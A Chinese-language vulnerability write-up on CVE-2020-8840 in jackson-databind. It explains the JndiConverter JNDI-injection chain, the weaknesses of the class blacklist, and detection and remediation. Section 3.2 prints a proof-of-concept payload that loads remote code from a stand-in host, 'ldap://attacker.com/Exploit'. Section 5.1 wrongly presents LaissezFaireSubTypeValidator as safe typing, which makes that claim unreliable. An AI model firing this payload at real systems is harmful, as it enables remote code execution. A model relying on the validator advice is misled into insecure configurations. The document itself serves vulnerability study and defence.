CVE-2020-8840:从JNDI注入看Jackson-databind黑名单攻防演进
1. 漏洞背景与影响范围
2020年2月,FasterXML jackson-databind组件曝出编号为CVE-2020-8840的高危漏洞,CVSS评分高达9.8。该漏洞影响范围包括:
- 2.0.0 <= 版本 <= 2.9.10.2
- 2.8.11.4及之前版本
- 2.7.9.6及之前版本
这个漏洞的特殊性在于,攻击者可以通过精心构造的JSON数据,在启用了default typing功能的系统中实现远程代码执行(RCE)。我当时在内部安全审计时发现,许多Java项目由于历史原因仍在使用2.9.x系列版本,这使得漏洞影响面非常广泛。
2. Jackson黑名单机制演进史
2.1 黑名单防御的起源
Jackson在早期版本中采用白名单机制,但由于Java生态的复杂性,维护完整的白名单几乎不可能。从2.7.x版本开始,开发团队转向了类名黑名单机制,通过SubTypeValidator类维护一个已知危险类的列表。我翻看过早期的黑名单代码,发现最初只包含不到20个高危类。
2.2 漏洞的典型模式
攻击者通常利用以下链条进行攻击:
- 找到不在黑名单中的危险类(如JNDI相关)
- 通过setter方法或特定属性触发危险操作
- 构造恶意JSON实现RCE
我在测试环境中发现,仅2020年就有至少5个CVE是通过这种方式绕过了黑名单防御。
3. CVE-2020-8840技术分析
3.1 漏洞触发条件
需要同时满足三个条件:
- 启用default typing:
ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); // 关键风险点- 存在xbean-reflect依赖(提供JndiConverter类)
- 使用JDK版本低于:
- JDK 11.0.1
- 8u191
- 7u201
- 6u211
3.2 利用链详解
完整的攻击链条如下:
mapper.readValue() → JndiConverter.setAsText() → AbstractConverter.toObject() → JndiConverter.toObjectImpl() → InitialContext.lookup() // JNDI注入点我曾在测试中使用以下POC成功触发漏洞:
String payload = "[\"org.apache.xbean.propertyeditor.JndiConverter\", " + "{\"asText\":\"ldap://attacker.com/Exploit\"}]"; mapper.readValue(payload, Object.class);3.3 漏洞复现环境搭建
需要准备以下依赖(实测版本):
<dependencies> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.9.1</version> <!-- 受影响版本 --> </dependency> <dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-reflect</artifactId> <version>4.17</version> <!-- 提供漏洞类 --> </dependency> </dependencies>4. 黑名单机制的局限性
4.1 覆盖不全问题
通过分析GitHub提交记录,我发现黑名单更新总是滞后于漏洞发现。例如:
- 2020年2月修复CVE-2020-8840时新增了JndiConverter
- 但3月又出现CVE-2020-9548(AnterosDBCPConfig类)
4.2 维护成本高
Jackson团队需要持续跟踪:
- 所有第三方库的危险类
- JDK自身的危险API
- 各种组合利用方式
我在代码审计中发现,即使到了2.9.10.4版本,仍有20+潜在危险类未被覆盖。
5. 更有效的防御策略
5.1 官方推荐方案
- 升级到2.10+版本:使用
@JsonTypeInfo替代enableDefaultTyping
@JsonTypeInfo(use = Id.NAME, include = As.PROPERTY) @JsonSubTypes({ @Type(value = Dog.class, name = "dog") })- 启用"safe typing"模式:
mapper.activateDefaultTypingAsProperty( new LaissezFaireSubTypeValidator(), // 2.10+新增的校验器 ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT, "type");5.2 运行时防护
我在生产环境中验证过的方案:
- 使用SecurityManager限制JNDI访问
- 通过Java Agent拦截危险操作:
Instrumentation.addTransformer(new DangerousClassTransformer());5.3 架构层面建议
- 反序列化时使用DTO模式而非直接映射
- 实施严格的输入验证:
@JsonFilter("myFilter") public class SafeDTO { @JsonProperty(required = true) @Pattern(regexp = "^[a-zA-Z0-9]+$") private String username; }6. 后续关联漏洞分析
6.1 CVE-2020-24616
2020年8月披露,利用Anteros-DBCP组件绕过黑名单,与8840漏洞利用链相似但使用不同入口类。
6.2 CVE-2020-35728
2020年12月出现,通过glassfish的JNDIConnectionPool类实现攻击,显示黑名单机制需要持续更新。
我在跟踪这些漏洞时发现一个规律:平均每个季度就会出现1-2个新的绕过方式,这促使Jackson团队在2.12版本引入了更严格的白名单机制。
7. 实战检测与修复
7.1 检测方法
- 使用OWASP Dependency-Check扫描依赖:
dependency-check.sh --project MyApp --scan ./lib- 检查代码中的危险配置:
// 反模式 objectMapper.enableDefaultTyping(); // 正确做法 objectMapper.activateDefaultTyping(...);7.2 修复步骤
根据我的应急响应经验,推荐流程:
- 立即升级到最新安全版本:
<dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.13.4.2</version> <!-- 当前安全版本 --> </dependency>- 移除不必要的第三方依赖
- 升级JDK到最新补丁版本
记得有一次在客户现场,我们发现即使升级了Jackson版本,但由于JDK仍是8u181,系统仍然存在风险。这提醒我们安全修复需要全面考虑依赖环境。